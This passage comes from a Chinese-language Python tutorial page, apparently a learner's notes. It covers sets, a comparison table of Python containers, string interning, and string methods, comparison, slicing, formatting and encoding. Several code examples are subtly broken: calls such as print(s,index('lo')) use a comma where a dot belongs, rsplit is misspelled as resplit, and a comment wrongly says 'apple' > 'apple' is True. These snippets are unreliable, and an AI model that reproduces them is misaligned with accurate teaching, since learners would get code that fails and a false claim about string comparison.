class="line">print(s1)</span><br><span class="line">print(s2)</span><br><span class="line"></span><br><span class="line"><span class="comment">#对称差集</span></span><br><span class="line">print(s1.symmetric_difference(s2))</span><br><span class="line">print(s1 ^ s2)</span><br></pre></td></tr></table></figure><h3 id="4集合生成式"><a class="markdownIt-Anchor" href="#4集合生成式">#</a> （4）集合生成式</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;列表生成式&#x27;&#x27;&#x27;</span></span><br><span class="line">lst = [i*i <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>)]</span><br><span class="line">print(lst)</span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;集合生成式&#x27;&#x27;&#x27;</span></span><br><span class="line">s = &#123;i*i <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>)&#125;</span><br><span class="line">print(s)</span><br></pre></td></tr></table></figure><h2 id="3-列表-字典-元组-集合总结"><a class="markdownIt-Anchor" href="#3-列表-字典-元组-集合总结">#</a> 3. 列表、字典、元组、集合总结</h2><table><thead><tr><th style="text-align:center">数据结构</th><th style="text-align:center">是否可变</th><th style="text-align:center">是否重复</th><th style="text-align:center">是否有序</th><th style="text-align:center">定义符号</th></tr></thead><tbody><tr><td style="text-align:center">列表 (list)</td><td style="text-align:center">可变</td><td style="text-align:center">可重复</td><td style="text-align:center">有序</td><td style="text-align:center">[]</td></tr><tr><td style="text-align:center">元组 (tuple)</td><td style="text-align:center">不可变</td><td style="text-align:center">可重复</td><td style="text-align:center">有序</td><td style="text-align:center">()</td></tr><tr key:value=""><td style="text-align:center">字典 (dict)</td><td style="text-align:center">可变</td><td style="text-align:center">key 不可重复，value 可重复</td><td style="text-align:center">无序</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">集合 (set)</td><td style="text-align:center">可变</td><td style="text-align:center">不可重复</td><td style="text-align:center">无序</td><td style="text-align:center">{}</td></tr></tbody></table><h1 id="十-一串连一串"><a class="markdownIt-Anchor" href="#十-一串连一串">#</a> 十、一串连一串</h1><h2 id="1-字符串的驻留机制"><a class="markdownIt-Anchor" href="#1-字符串的驻留机制">#</a> 1. 字符串的驻留机制</h2><p>** 字符串：** 在 Python 中是基本数据类型，是一个不可变的字符序列。</p><p>** 字符串的驻留机制：** 仅保存一份相同且不可变字符串的方法，不同的值被存放在字符串的驻留池中，Python 的驻留机制对相同的字符串只保留一份拷贝，后续创建相同的字符串时，不会开辟新空间，而是把该字符串的地址赋给新创建的变量。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;字符串的驻留机制&#x27;&#x27;&#x27;</span></span><br><span class="line">a = <span class="string">&#x27;Python&#x27;</span></span><br><span class="line">b = <span class="string">&quot;Python&quot;</span></span><br><span class="line">c = <span class="string">&#x27;&#x27;&#x27;Python&#x27;&#x27;&#x27;</span></span><br><span class="line">print(a,<span class="built_in">id</span>(a))</span><br><span class="line">print(b,<span class="built_in">id</span>(b))</span><br><span class="line">print(c,<span class="built_in">id</span>(c))</span><br></pre></td></tr></table></figure><p><strong>驻留机制的几种情况（交互模式）：</strong></p><ul><li>字符串的长度为 0 或 1 时</li><li>符合标识符的字符串</li><li>字符串只在编译时进行驻留，而非运行时</li><li>[-5,256] 之间的整数数字</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line">s1 = <span class="string">&#x27;&#x27;</span></span><br><span class="line">s2 = <span class="string">&#x27;&#x27;</span></span><br><span class="line">s1 <span class="keyword">is</span> s2</span><br><span class="line"></span><br><span class="line">s1 = <span class="string">&#x27;%&#x27;</span></span><br><span class="line">s2 = <span class="string">&#x27;%&#x27;</span></span><br><span class="line">s1 <span class="keyword">is</span> s2</span><br><span class="line"></span><br><span class="line">s1 = <span class="string">&#x27;abc%&#x27;</span></span><br><span class="line">s2 = <span class="string">&#x27;abc%&#x27;</span></span><br><span class="line">s1 == s2</span><br><span class="line"></span><br><span class="line">s1 <span class="keyword">is</span> s2</span><br><span class="line"></span><br><span class="line"><span class="built_in">id</span>(s1)</span><br><span class="line"><span class="built_in">id</span>(s2)</span><br><span class="line"></span><br><span class="line">s1 = <span class="string">&#x27;abcx&#x27;</span></span><br><span class="line">s2 = <span class="string">&#x27;abcx&#x27;</span></span><br><span class="line">s1 <span class="keyword">is</span> s2</span><br><span class="line"></span><br><span class="line"><span class="built_in">id</span>(s1)</span><br><span class="line"><span class="built_in">id</span>(s2)</span><br><span class="line"></span><br><span class="line">a = <span class="string">&#x27;abc&#x27;</span></span><br><span class="line">b = <span class="string">&#x27;ab&#x27;</span>+<span class="string">&#x27;c&#x27;</span></span><br><span class="line">c = <span class="string">&#x27;&#x27;</span>.join([<span class="string">&#x27;ab&#x27;</span>,<span class="string">&#x27;c&#x27;</span>])</span><br><span class="line">a <span class="keyword">is</span> b</span><br><span class="line">a <span class="keyword">is</span> c </span><br><span class="line">c</span><br><span class="line"><span class="built_in">type</span>(c)</span><br><span class="line">a</span><br><span class="line"><span class="built_in">type</span>(a)</span><br><span class="line"></span><br><span class="line">a = -<span class="number">5</span></span><br><span class="line">b = -<span class="number">5</span></span><br><span class="line">a <span class="keyword">is</span> b</span><br><span class="line"></span><br><span class="line">a = -<span class="number">6</span></span><br><span class="line">b = -<span class="number">6</span></span><br><span class="line">a <span class="keyword">is</span> b</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line">a = <span class="string">&#x27;abc%&#x27;</span></span><br><span class="line">b = <span class="string">&#x27;abc%&#x27;</span></span><br><span class="line">a <span class="keyword">is</span> b</span><br><span class="line"></span><br><span class="line">a = sys.intern(b)</span><br><span class="line">a <span class="keyword">is</span> b</span><br></pre></td></tr></table></figure><p><strong>sys 中的 intern 方法强制 2 个字符串指向同一个对象</strong></p><p><strong>PyCharm 对字符串进行了优化处理</strong></p><p><strong>字符串驻留机制的优缺点：</strong></p><ul><li>当需要值相同的字符串时，可以直接从字符串池里拿来使用，避免频繁的创建和销毁，提升效率和节约内存，因此拼接字符串和修改字符串是会比较影响性能呢的</li><li>在需要进行字符串拼接时建议使用 str 类型的 join 方法，而非 +，因为 join（）方法是先计算出所有字符中的长度，然后再拷贝，只 new 一次对象，效率要比 “+” 高。</li></ul><h2 id="2-字符串的常用操作"><a class="markdownIt-Anchor" href="#2-字符串的常用操作">#</a> 2. 字符串的常用操作</h2><h3 id="1字符串的查询操作"><a class="markdownIt-Anchor" href="#1字符串的查询操作">#</a> （1）字符串的查询操作</h3><blockquote><p>indexrindexfindrfind</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">s = <span class="string">&#x27;hello,hello&#x27;</span></span><br><span class="line"><span class="comment">#index查找子串第一次出现的位置，如果查找子串不存在，抛出ValueError</span></span><br><span class="line">print(s,index(<span class="string">&#x27;lo&#x27;</span>))<span class="comment">#3</span></span><br><span class="line"><span class="comment">#查找子串第一次出现的位置，如果查找子串不存在，则返回-1</span></span><br><span class="line">print(s,find(<span class="string">&#x27;lo&#x27;</span>))<span class="comment">#3</span></span><br><span class="line"><span class="comment">#查找子串最后一次出现的位置，如果查找子串不存在，抛出ValueError</span></span><br><span class="line">print(s,rindex(<span class="string">&#x27;lo&#x27;</span>))<span class="comment">#9</span></span><br><span class="line"><span class="comment">#查找子串最后一次出现的位置，如果查找子串不存在，则返回-1</span></span><br><span class="line">print(s,rfind(<span class="string">&#x27;lo&#x27;</span>))<span class="comment">#9</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#print(s,index(&#x27;k&#x27;))   #ValueError</span></span><br><span class="line">print(s,find(<span class="string">&#x27;k&#x27;</span>))    <span class="comment">#-1</span></span><br><span class="line"><span class="comment">#print(s,rindex(&#x27;k&#x27;))</span></span><br><span class="line">print(s,rfind(<span class="string">&#x27;k&#x27;</span>))</span><br><span class="line"></span><br></pre></td></tr></table></figure><table><thead><tr><th>-11</th><th>-10</th><th>-9</th><th>-8</th><th>-7</th><th>-6</th><th>-5</th><th>-4</th><th>-3</th><th>-2</th><th>-1</th></tr></thead><tbody><tr><td>h</td><td>e</td><td>l</td><td>l</td><td>o</td><td>,</td><td>h</td><td>e</td><td>l</td><td>l</td><td>o</td></tr><tr><td>0</td><td>1</td><td>2</td><td>3</td><td>4</td><td>5</td><td>6</td><td>7</td><td>8</td><td>9</td><td>10</td></tr></tbody></table><h3 id="2字符串的大小写转换操作"><a class="markdownIt-Anchor" href="#2字符串的大小写转换操作">#</a> （2）字符串的大小写转换操作</h3><blockquote><p>upperlowerswapcasecaplitalizetitle</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;字符串中的转换&#x27;&#x27;&#x27;</span></span><br><span class="line">s = <span class="string">&#x27;hello,python&#x27;</span></span><br><span class="line">a = s.upper()<span class="comment">#全部转换大写，产生一个新的字符串对象</span></span><br><span class="line">print(a,<span class="built_in">id</span>(a))</span><br><span class="line">print(s,<span class="built_in">id</span>(s))</span><br><span class="line">b = s.lower()<span class="comment">#全部转换小写，产生一个新的字符串对象</span></span><br><span class="line">print(b,<span class="built_in">id</span>(b)) </span><br><span class="line">print(s,<span class="built_in">id</span>(s))</span><br><span class="line">print(b == s)</span><br><span class="line">print(b <span class="keyword">is</span> s)<span class="comment">#False</span></span><br><span class="line"></span><br><span class="line">s2 = <span class="string">&#x27;hello,Python&#x27;</span></span><br><span class="line">print(s2,swapcase())<span class="comment">#字符串所有大写转换为小写，所有小写转换为大写</span></span><br><span class="line">print(s2,capitalize())  <span class="comment">#把第一个字母转换为大写，其余字母转换为小写</span></span><br><span class="line">print(s2,title())<span class="comment">#把每个单词的第一个字母转换为大写，把每个单词的剩余字母转换为小写</span></span><br></pre></td></tr></table></figure><h3 id="3字符串内容对齐操作"><a class="markdownIt-Anchor" href="#3字符串内容对齐操作">#</a> （3）字符串内容对齐操作</h3><blockquote><p>centerljustrjustzfill</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">s = <span class="string">&#x27;hello,Python&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#居中对齐，第一个参数指定宽度，第二个参数指定填充符，默认空格。若设置宽度小于实际宽度，返回原字符串</span></span><br><span class="line">print(s,center(<span class="number">20</span>,<span class="string">&#x27;*&#x27;</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment">#左对齐，第一个参数指定宽度，第二个参数指定填充符</span></span><br><span class="line">print(s.ljust(<span class="number">20</span>,<span class="string">&#x27;*&#x27;</span>))</span><br><span class="line">print(s.ljust(<span class="number">10</span>))</span><br><span class="line">print(s.ljust(<span class="number">20</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment">#右对齐</span></span><br><span class="line">print(s.rjust(<span class="number">20</span>,<span class="string">&#x27;*&#x27;</span>))</span><br><span class="line">print(s.rjust(<span class="number">20</span>))</span><br><span class="line">print(s.rjust(<span class="number">10</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment">#右对齐，左边用0填充，该方法只接收一个参数，用于指定字符串宽度</span></span><br><span class="line">print(s.zfill(<span class="number">20</span>))</span><br><span class="line">print(s.zfill(<span class="number">10</span>))</span><br><span class="line">print(<span class="string">&#x27;-8910&#x27;</span>.zfill(<span class="number">8</span>))  <span class="comment">#减号后开始添0</span></span><br></pre></td></tr></table></figure><h3 id="4字符串的劈分操作"><a class="markdownIt-Anchor" href="#4字符串的劈分操作">#</a> （4）字符串的劈分操作</h3><blockquote><p>splitrsplit</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">s = <span class="string">&#x27;hello world Python&#x27;</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;split从字符串的左边开始劈分，默认的劈分字符是空格字符，返回的值都是一个列表&#x27;&#x27;&#x27;</span></span><br><span class="line">lst = s.split()</span><br><span class="line">print(lst)</span><br><span class="line">s1 = <span class="string">&#x27;hello|world|Python&#x27;</span></span><br><span class="line">print(s1.split(sep = <span class="string">&#x27;|&#x27;</span>))<span class="comment">#通过参数sep指定劈分符</span></span><br><span class="line">print(s1.split(sep = <span class="string">&#x27;|&#x27;</span>,maxsplit = <span class="number">1</span>))<span class="comment">#通过maxsplit指定劈分字符串时最大劈分次数，经过最大次劈分后，剩余子串会单独作为一部分</span></span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;rsplit从字符串的右边开始劈分，默认的劈分符是空格字符串，返回的值都是一个列表&#x27;&#x27;&#x27;</span></span><br><span class="line">print(s.rsplit())</span><br><span class="line">print(s.resplit(sep = <span class="string">&#x27;|&#x27;</span>))</span><br><span class="line">print(s.rsplit(sep = <span class="string">&#x27;|&#x27;</span>,maxsplit = <span class="number">1</span>))</span><br></pre></td></tr></table></figure><h3 id="5判断字符串的操作"><a class="markdownIt-Anchor" href="#5判断字符串的操作">#</a> （5）判断字符串的操作</h3><blockquote><p>isidentifierisspaceisalphaisdecimalisnumericisalnum</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#判断指定的字符串是不是合法的标识符</span></span><br><span class="line">s = <span class="string">&#x27;hello,python&#x27;</span></span><br><span class="line">print(<span class="string">&#x27;1.&#x27;</span>,s.isidentifier())</span><br><span class="line">print(<span class="string">&#x27;2.&#x27;</span>,<span class="string">&#x27;hello&#x27;</span>.isidentifier())</span><br><span class="line">print(<span class="string">&#x27;3.&#x27;</span>,<span class="string">&#x27;张三_&#x27;</span>.isidentifier())</span><br><span class="line">print(<span class="string">&#x27;4.&#x27;</span>,<span class="string">&#x27;张三_123&#x27;</span>.isidentifier())</span><br><span class="line"></span><br><span class="line"><span class="comment">#判断指定的字符串是否全部由空白字符组成（回车、换行、水平制表符）</span></span><br><span class="line">print(<span class="string">&#x27;5.&#x27;</span>,<span class="string">&#x27;\t&#x27;</span>.isspace())</span><br><span class="line"></span><br><span class="line"><span class="comment">#判断指定的字符串是否全部由字母组成</span></span><br><span class="line">print(<span class="string">&#x27;6.&#x27;</span>,<span class="string">&#x27;abc&#x27;</span>.isalpha())</span><br><span class="line">print(<span class="string">&#x27;7.&#x27;</span>,<span class="string">&#x27;张三&#x27;</span>.isalpha())</span><br><span class="line">print(<span class="string">&#x27;8.&#x27;</span>,<span class="string">&#x27;张三1&#x27;</span>.isalpha())</span><br><span class="line"></span><br><span class="line"><span class="comment">#判断指定的字符串是否全部由十进制数字组成</span></span><br><span class="line">print(<span class="string">&#x27;9.&#x27;</span>,<span class="string">&#x27;123&#x27;</span>.isdecimal())</span><br><span class="line">print(<span class="string">&#x27;10.&#x27;</span>,<span class="string">&#x27;123四&#x27;</span>.isdecimal())</span><br><span class="line">print(<span class="string">&#x27;11.&#x27;</span>,<span class="string">&#x27;ⅠⅡⅢ&#x27;</span>.isdecimal())</span><br><span class="line"></span><br><span class="line"><span class="comment">#判断指定的字符串是否全部由数字组成</span></span><br><span class="line">print(<span class="string">&#x27;12.&#x27;</span>,<span class="string">&#x27;123&#x27;</span>.isnumeric())</span><br><span class="line">print(<span class="string">&#x27;13.&#x27;</span>,<span class="string">&#x27;123四&#x27;</span>.isnumeric())</span><br><span class="line">print(<span class="string">&#x27;14.&#x27;</span>,<span class="string">&#x27;ⅠⅡⅢ&#x27;</span>.isnumeric())</span><br><span class="line"></span><br><span class="line"><span class="comment">#判断指定的字符串是否全部由字母和数字组成</span></span><br><span class="line">print(<span class="string">&#x27;15.&#x27;</span>,<span class="string">&#x27;abc1&#x27;</span>.isalnum())</span><br><span class="line">print(<span class="string">&#x27;16.&#x27;</span>,<span class="string">&#x27;张三123&#x27;</span>.isalnum())</span><br><span class="line">print(<span class="string">&#x27;17.&#x27;</span>,<span class="string">&#x27;abc!&#x27;</span>.isalnum())</span><br></pre></td></tr></table></figure><h3 id="6字符串操作的其他方法"><a class="markdownIt-Anchor" href="#6字符串操作的其他方法">#</a> （6）字符串操作的其他方法</h3><blockquote><p>repalcejoin</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#replace第一个参数指定被替换子串，第二个参数指定替换子串，第三个参数指定最大替换次数</span></span><br><span class="line">s = <span class="string">&#x27;hello,Python&#x27;</span></span><br><span class="line">print(s.replace(<span class="string">&#x27;Python&#x27;</span>,<span class="string">&#x27;Java&#x27;</span>))</span><br><span class="line">s1 = <span class="string">&#x27;hello,Python,Python,Python&#x27;</span></span><br><span class="line">print(s1.replace(<span class="string">&#x27;Python&#x27;</span>,<span class="string">&#x27;Java&#x27;</span>,<span class="number">2</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment">#join将列表或元组中的字符串合并为一个字符串</span></span><br><span class="line">lst = [<span class="string">&#x27;hello&#x27;</span>,<span class="string">&#x27;java&#x27;</span>,<span class="string">&#x27;Python&#x27;</span>]</span><br><span class="line">print(<span class="string">&#x27;|&#x27;</span>.join(lst))</span><br><span class="line">print(<span class="string">&#x27;&#x27;</span>.join(lst))</span><br><span class="line"></span><br><span class="line">t = (<span class="string">&#x27;hello&#x27;</span>,<span class="string">&#x27;java&#x27;</span>,<span class="string">&#x27;Python&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;&#x27;</span>.join(t))</span><br><span class="line"></span><br><span class="line">print(<span class="string">&#x27;*&#x27;</span>.join(<span class="string">&#x27;Python&#x27;</span>))</span><br></pre></td></tr></table></figure><h2 id="3-字符串的比较"><a class="markdownIt-Anchor" href="#3-字符串的比较">#</a> 3. 字符串的比较</h2><blockquote><p>&lt; &gt; =&lt;&lt; == =! =</p></blockquote><p>** 比较规则：** 首先比较两个字符串中的第一个字符，如果相等则继续比较下一个字符，依次比较下去，直到两个字符串中的字符不相等时，其比较结果就是两个字符串的比较结果，两个字符串中的所有后续字符将不再被比较。</p><p>** 比较原理：** 两个字符进行比较时，比较的是其 ordinal value（原始值），调用内置函数 ord 就可以得到指定字符的 ordinal value。与内置函数对应的是内置函数 chr，调用内置函数 chr 时可以使指定的 ordinal value 得到其对应的字符。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="string">&#x27;apple&#x27;</span> &gt; <span class="string">&#x27;apple&#x27;</span>)<span class="comment">#True</span></span><br><span class="line">print(<span class="string">&#x27;apple&#x27;</span> &gt; <span class="string">&#x27;banana&#x27;</span>)   <span class="comment">#97&gt;98,Flase</span></span><br><span class="line">print(<span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>),<span class="built_in">ord</span>(<span class="string">&#x27;b&#x27;</span>))</span><br><span class="line">print(<span class="built_in">ord</span>(<span class="string">&#x27;杨&#x27;</span>))</span><br><span class="line"></span><br><span class="line">print(<span class="built_in">chr</span>(<span class="number">97</span>),<span class="built_in">chr</span>(<span class="number">98</span>))</span><br><span class="line">print(<span class="built_in">chr</span>(<span class="number">26472</span>))</span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;is与 == 的区别</span></span><br><span class="line"><span class="string">==比较的是value</span></span><br><span class="line"><span class="string">is 比较的是id&#x27;&#x27;&#x27;</span></span><br><span class="line">a = b = <span class="string">&#x27;Python&#x27;</span></span><br><span class="line">c = <span class="string">&#x27;Python&#x27;</span></span><br><span class="line">print(a == b)</span><br><span class="line">print(b == c)</span><br><span class="line">print(a <span class="keyword">is</span> b)</span><br><span class="line">print(a <span class="keyword">is</span> c)</span><br><span class="line">print(<span class="built_in">id</span>(a))</span><br><span class="line">print(<span class="built_in">id</span>(b))</span><br><span class="line">print(<span class="built_in">id</span>(c))</span><br></pre></td></tr></table></figure><h2 id="4-字符串的切片操作"><a class="markdownIt-Anchor" href="#4-字符串的切片操作">#</a> 4. 字符串的切片操作</h2><ul><li>字符串是不可变类型，不具备增删改等操作，切片操作将产生新的对象。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">s = <span class="string">&#x27;hello,Python&#x27;</span></span><br><span class="line">s1 = s[:<span class="number">5</span>]<span class="comment">#没有指定起始位置，从0开始</span></span><br><span class="line">s2 = s[<span class="number">6</span>:]<span class="comment">#没有指定结束位置，直到最后一个为止</span></span><br><span class="line">s3 = <span class="string">&#x27;!&#x27;</span></span><br><span class="line">newstr = s1 + s3 + s2</span><br><span class="line">print(s1)</span><br><span class="line">print(s2)</span><br><span class="line">print(newstr)</span><br><span class="line">print(<span class="built_in">id</span>(s))</span><br><span class="line">print(<span class="built_in">id</span>(s1))</span><br><span class="line">print(<span class="built_in">id</span>(s2))</span><br><span class="line">print(<span class="built_in">id</span>(s3))</span><br><span class="line">print(<span class="built_in">id</span>(newstr))</span><br><span class="line"></span><br><span class="line">print(<span class="string">&#x27;---------切片[start:end:step]------&#x27;</span>)</span><br><span class="line">print(s[<span class="number">1</span>:<span class="number">5</span>:<span class="number">1</span>])<span class="comment">#从1开始截到5，不包括5，步长为1</span></span><br><span class="line">print(s[::<span class="number">2</span>])<span class="comment">#默认从0开始，直到最后一个元素，索引间隔为2</span></span><br><span class="line">print(s[::-<span class="number">1</span>])<span class="comment">#默认从最后一个元素开始，直到第一个元素结束，因为步长为-1</span></span><br><span class="line">print(s[-<span class="number">6</span>::<span class="number">1</span>])<span class="comment">#截取Python字符串</span></span><br></pre></td></tr></table></figure><h2 id="5-格式化字符串"><a class="markdownIt-Anchor" href="#5-格式化字符串">#</a> 5. 格式化字符串</h2><p>** 为什么需要格式化字符串？** 按照一定格式输出字符串。</p><p><strong>两种方式：% 作占位符；{} 作占位符。</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;格式化字符串&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="comment">#使用 % 占位符</span></span><br><span class="line">name = <span class="string">&#x27;张三&#x27;</span></span><br><span class="line">age = <span class="number">20</span></span><br><span class="line">print(<span class="string">&#x27;我叫%s，今年%d岁&#x27;</span> % (name,age))</span><br><span class="line"></span><br><span class="line"><span class="comment">#使用 &#123;&#125; 占位符</span></span><br><span class="line">print(<span class="string">&#x27;我叫&#123;0&#125;，今年&#123;1&#125;岁&#x27;</span>.<span class="built_in">format</span>(name,age))</span><br><span class="line"></span><br><span class="line"><span class="comment">#f-string（Python 3.x以上版本）</span></span><br><span class="line">print(<span class="string">f&#x27;我叫<span class="subst">&#123;name&#125;</span>，今年<span class="subst">&#123;age&#125;</span>岁&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#宽度和精度</span></span><br><span class="line">print(<span class="string">&#x27;%d&#x27;</span> % <span class="number">99</span>)</span><br><span class="line">print(<span class="string">&#x27;%10d&#x27;</span> % <span class="number">99</span>)<span class="comment">#10代表宽度</span></span><br><span class="line">print(<span class="string">&#x27;%.3f&#x27;</span> % <span class="number">3.1415926</span>)<span class="comment">#.3保留三位小数</span></span><br><span class="line">print(<span class="string">&#x27;%10.3f&#x27;</span> % <span class="number">3.1415926</span>)<span class="comment">#宽度为10，小数点后三位</span></span><br><span class="line"></span><br><span class="line">print(<span class="string">&#x27;&#123;0&#125;&#x27;</span>.<span class="built_in">format</span>(<span class="number">3.1415926</span>))</span><br><span class="line">print(<span class="string">&#x27;&#123;0:.3&#125;&#x27;</span>.<span class="built_in">format</span>(<span class="number">3.1415926</span>))<span class="comment">#.3表示一共是3位数</span></span><br><span class="line">print(<span class="string">&#x27;&#123;0:.3f&#125;&#x27;</span>.<span class="built_in">format</span>(<span class="number">3.1415926</span>))<span class="comment">#.3f表示3位小数</span></span><br><span class="line">print(<span class="string">&#x27;&#123;:10.3f&#125;&#x27;</span>.<span class="built_in">format</span>(<span class="number">3.1415926</span>))<span class="comment">#同时设置宽度和精度，一共是10位数，3位小数</span></span><br></pre></td></tr></table></figure><h2 id="6-字符串的编码转换"><a class="markdownIt-Anchor" href="#6-字符串的编码转换">#</a> 6. 字符串的编码转换</h2><p><strong>编码与解码的方式：</strong></p><ul><li>编码：将字符串转换成二进制数据（bytes）</li><li>解码：将 bytes 类型的数据转换成字符串类型</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">s = <span class="string">&#x27;天涯共此时&#x27;</span></span><br><span 